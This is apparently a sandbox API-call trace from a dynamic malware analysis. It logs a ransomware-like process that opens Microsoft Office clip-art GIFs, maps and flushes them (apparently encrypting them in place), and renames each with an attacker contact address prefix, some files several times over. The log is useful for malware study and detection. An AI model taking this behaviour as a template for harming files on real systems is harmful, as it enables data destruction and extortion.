	[0093.291] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif")) returned 1
	[0093.292] free (_Block=0x51f0070) 
	[0093.292] RtlExitUserThread (Status=0x0) 

Thread:
	id = 463
	os_tid = 0x17cc

	[0093.294] _alloca_probe () returned 0x40328a
	[0093.294] GetCurrentThreadId () returned 0x17cc
	[0093.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif", dwFileAttributes=0x80) returned 1
	[0093.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f0
	[0093.294] GetFileSizeEx (in: hFile=0x9f0, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=13529) returned 1
	[0093.295] CreateFileMappingA (hFile=0x9f0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x34e1, lpName=0x0) returned 0x9f4
	[0093.295] MapViewOfFile (hFileMappingObject=0x9f4, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.298] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.298] CloseHandle (hObject=0x9f4) returned 1
	[0093.298] GetCurrentThreadId () returned 0x17cc
	[0093.298] FlushFileBuffers (hFile=0x9f0) returned 1
	[0093.300] CloseHandle (hObject=0x9f0) returned 1
	[0093.300] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif") returned 155
	[0093.300] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10890_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10890_.gif")) returned 1
	[0093.301] free (_Block=0x51f5098) 
	[0093.301] RtlExitUserThread (Status=0x0) 

Thread:
	id = 464
	os_tid = 0x17d0

	[0093.302] _alloca_probe () returned 0x40328a
	[0093.303] GetCurrentThreadId () returned 0x17d0
	[0093.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif", dwFileAttributes=0x80) returned 1
	[0093.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f4
	[0093.303] GetFileSizeEx (in: hFile=0x9f4, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20209) returned 1
	[0093.303] CreateFileMappingA (hFile=0x9f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ef1, lpName=0x0) returned 0x9f8
	[0093.303] MapViewOfFile (hFileMappingObject=0x9f8, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.307] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.307] CloseHandle (hObject=0x9f8) returned 1
	[0093.308] GetCurrentThreadId () returned 0x17d0
	[0093.308] FlushFileBuffers (hFile=0x9f4) returned 1
	[0093.312] CloseHandle (hObject=0x9f4) returned 1
	[0093.312] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif") returned 155
	[0093.312] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD10972_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd10972_.gif")) returned 1
	[0093.313] free (_Block=0x51f60a0) 
	[0093.313] RtlExitUserThread (Status=0x0) 

Thread:
	id = 465
	os_tid = 0x17d4

	[0093.315] _alloca_probe () returned 0x40328a
	[0093.316] GetCurrentThreadId () returned 0x17d4
	[0093.316] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif", dwFileAttributes=0x80) returned 1
	[0093.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9f8
	[0093.316] GetFileSizeEx (in: hFile=0x9f8, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=20469) returned 1
	[0093.316] CreateFileMappingA (hFile=0x9f8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4ff9, lpName=0x0) returned 0x9fc
	[0093.316] MapViewOfFile (hFileMappingObject=0x9fc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.320] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.320] CloseHandle (hObject=0x9fc) returned 1
	[0093.321] GetCurrentThreadId () returned 0x17d4
	[0093.321] FlushFileBuffers (hFile=0x9f8) returned 1
	[0093.322] CloseHandle (hObject=0x9f8) returned 1
	[0093.323] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif") returned 155
	[0093.323] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19563_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19563_.gif")) returned 1
	[0093.323] free (_Block=0x51f5098) 
	[0093.323] RtlExitUserThread (Status=0x0) 

Thread:
	id = 466
	os_tid = 0x17d8

	[0093.325] _alloca_probe () returned 0x40328a
	[0093.326] GetCurrentThreadId () returned 0x17d8
	[0093.326] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif", dwFileAttributes=0x80) returned 1
	[0093.326] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x9fc
	[0093.326] GetFileSizeEx (in: hFile=0x9fc, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=15745) returned 1
	[0093.326] CreateFileMappingA (hFile=0x9fc, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3d81, lpName=0x0) returned 0xa00
	[0093.326] MapViewOfFile (hFileMappingObject=0xa00, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.329] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.330] CloseHandle (hObject=0xa00) returned 1
	[0093.330] GetCurrentThreadId () returned 0x17d8
	[0093.330] FlushFileBuffers (hFile=0x9fc) returned 1
	[0093.331] CloseHandle (hObject=0x9fc) returned 1
	[0093.332] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif") returned 155
	[0093.332] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___BD19582_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___bd19582_.gif")) returned 1
	[0093.332] free (_Block=0x51f0070) 
	[0093.332] RtlExitUserThread (Status=0x0) 

Thread:
	id = 467
	os_tid = 0x17dc

	[0093.334] _alloca_probe () returned 0x40328a
	[0093.335] GetCurrentThreadId () returned 0x17dc
	[0093.335] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif", dwFileAttributes=0x80) returned 1
	[0093.335] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa00
	[0093.335] GetFileSizeEx (in: hFile=0xa00, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9024) returned 1
	[0093.335] CreateFileMappingA (hFile=0xa00, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2340, lpName=0x0) returned 0xa04
	[0093.335] MapViewOfFile (hFileMappingObject=0xa04, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.337] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.337] CloseHandle (hObject=0xa04) returned 1
	[0093.337] GetCurrentThreadId () returned 0x17dc
	[0093.337] FlushFileBuffers (hFile=0xa00) returned 1
	[0093.342] CloseHandle (hObject=0xa00) returned 1
	[0093.342] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif") returned 184
	[0093.342] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00004_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00004_.gif")) returned 1
	[0093.343] free (_Block=0x51f1078) 
	[0093.343] RtlExitUserThread (Status=0x0) 

Thread:
	id = 468
	os_tid = 0x17e0

	[0093.344] _alloca_probe () returned 0x40328a
	[0093.344] GetCurrentThreadId () returned 0x17e0
	[0093.344] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif", dwFileAttributes=0x80) returned 1
	[0093.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa04
	[0093.345] GetFileSizeEx (in: hFile=0xa04, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=7216) returned 1
	[0093.345] CreateFileMappingA (hFile=0xa04, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1c30, lpName=0x0) returned 0xa08
	[0093.345] MapViewOfFile (hFileMappingObject=0xa08, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0093.347] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0093.347] CloseHandle (hObject=0xa08) returned 1
	[0093.347] GetCurrentThreadId () returned 0x17e0
	[0093.347] FlushFileBuffers (hFile=0xa04) returned 1
	[0093.349] CloseHandle (hObject=0xa04) returned 1
	[0093.349] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif") returned 184
	[0093.349] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00011_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00011_.gif")) returned 1
	[0093.350] free (_Block=0x51f0070) 
	[0093.350] RtlExitUserThread (Status=0x0) 

Thread:
	id = 469
	os_tid = 0x17e4

	[0093.351] _alloca_probe () returned 0x40328a
	[0093.352] GetCurrentThreadId () returned 0x17e4
	[0093.352] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif", dwFileAttributes=0x80) returned 1
	[0093.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa08
	[0093.352] GetFileSizeEx (in: hFile=0xa08, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=14881) returned 1
	[0093.352] CreateFileMappingA (hFile=0xa08, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3a21, lpName=0x0) returned 0xa0c
	[0093.353] MapViewOfFile (hFileMappingObject=0xa0c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.355] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.356] CloseHandle (hObject=0xa0c) returned 1
	[0093.356] GetCurrentThreadId () returned 0x17e4
	[0093.356] FlushFileBuffers (hFile=0xa08) returned 1
	[0093.358] CloseHandle (hObject=0xa08) returned 1
	[0093.358] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif") returned 184
	[0093.358] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00021_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00021_.gif")) returned 1
	[0093.358] free (_Block=0x51f60a0) 
	[0093.358] RtlExitUserThread (Status=0x0) 

Thread:
	id = 470
	os_tid = 0x17e8

	[0093.360] _alloca_probe () returned 0x40328a
	[0093.361] GetCurrentThreadId () returned 0x17e8
	[0093.361] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif", dwFileAttributes=0x80) returned 1
	[0093.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa0c
	[0093.361] GetFileSizeEx (in: hFile=0xa0c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=6713) returned 1
	[0093.361] CreateFileMappingA (hFile=0xa0c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1a41, lpName=0x0) returned 0xa10
	[0093.361] MapViewOfFile (hFileMappingObject=0xa10, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.363] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.363] CloseHandle (hObject=0xa10) returned 1
	[0093.363] GetCurrentThreadId () returned 0x17e8
	[0093.363] FlushFileBuffers (hFile=0xa0c) returned 1
	[0093.365] CloseHandle (hObject=0xa0c) returned 1
	[0093.365] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif") returned 184
	[0093.365] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00037_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00037_.gif")) returned 1
	[0093.366] free (_Block=0x51f5098) 
	[0093.366] RtlExitUserThread (Status=0x0) 

Thread:
	id = 471
	os_tid = 0x17ec

	[0093.368] _alloca_probe () returned 0x40328a
	[0093.368] GetCurrentThreadId () returned 0x17ec
	[0093.368] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif", dwFileAttributes=0x80) returned 1
	[0093.369] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa10
	[0093.369] GetFileSizeEx (in: hFile=0xa10, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3265) returned 1
	[0093.369] CreateFileMappingA (hFile=0xa10, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xcc1, lpName=0x0) returned 0xa14
	[0093.369] MapViewOfFile (hFileMappingObject=0xa14, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0093.370] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0093.370] CloseHandle (hObject=0xa14) returned 1
	[0093.370] GetCurrentThreadId () returned 0x17ec
	[0093.370] FlushFileBuffers (hFile=0xa10) returned 1
	[0093.372] CloseHandle (hObject=0xa10) returned 1
	[0093.372] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif") returned 184
	[0093.372] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00038_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00038_.gif")) returned 1
	[0093.376] free (_Block=0x51f0070) 
	[0093.376] RtlExitUserThread (Status=0x0) 

Thread:
	id = 472
	os_tid = 0x17f0

	[0093.378] _alloca_probe () returned 0x40328a
	[0093.379] GetCurrentThreadId () returned 0x17f0
	[0093.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif", dwFileAttributes=0x80) returned 1
	[0093.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00040_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00040_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa14
	[0093.379] GetFileSizeEx (in: hFile=0xa14, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8097) returned 1
	[0093.379] CreateFileMappingA (hFile=0xa14, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1fa1, lpName=0x0) returned 0xa18
	[0093.380] MapViewOfFile (hFileMappingObject=0xa18, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
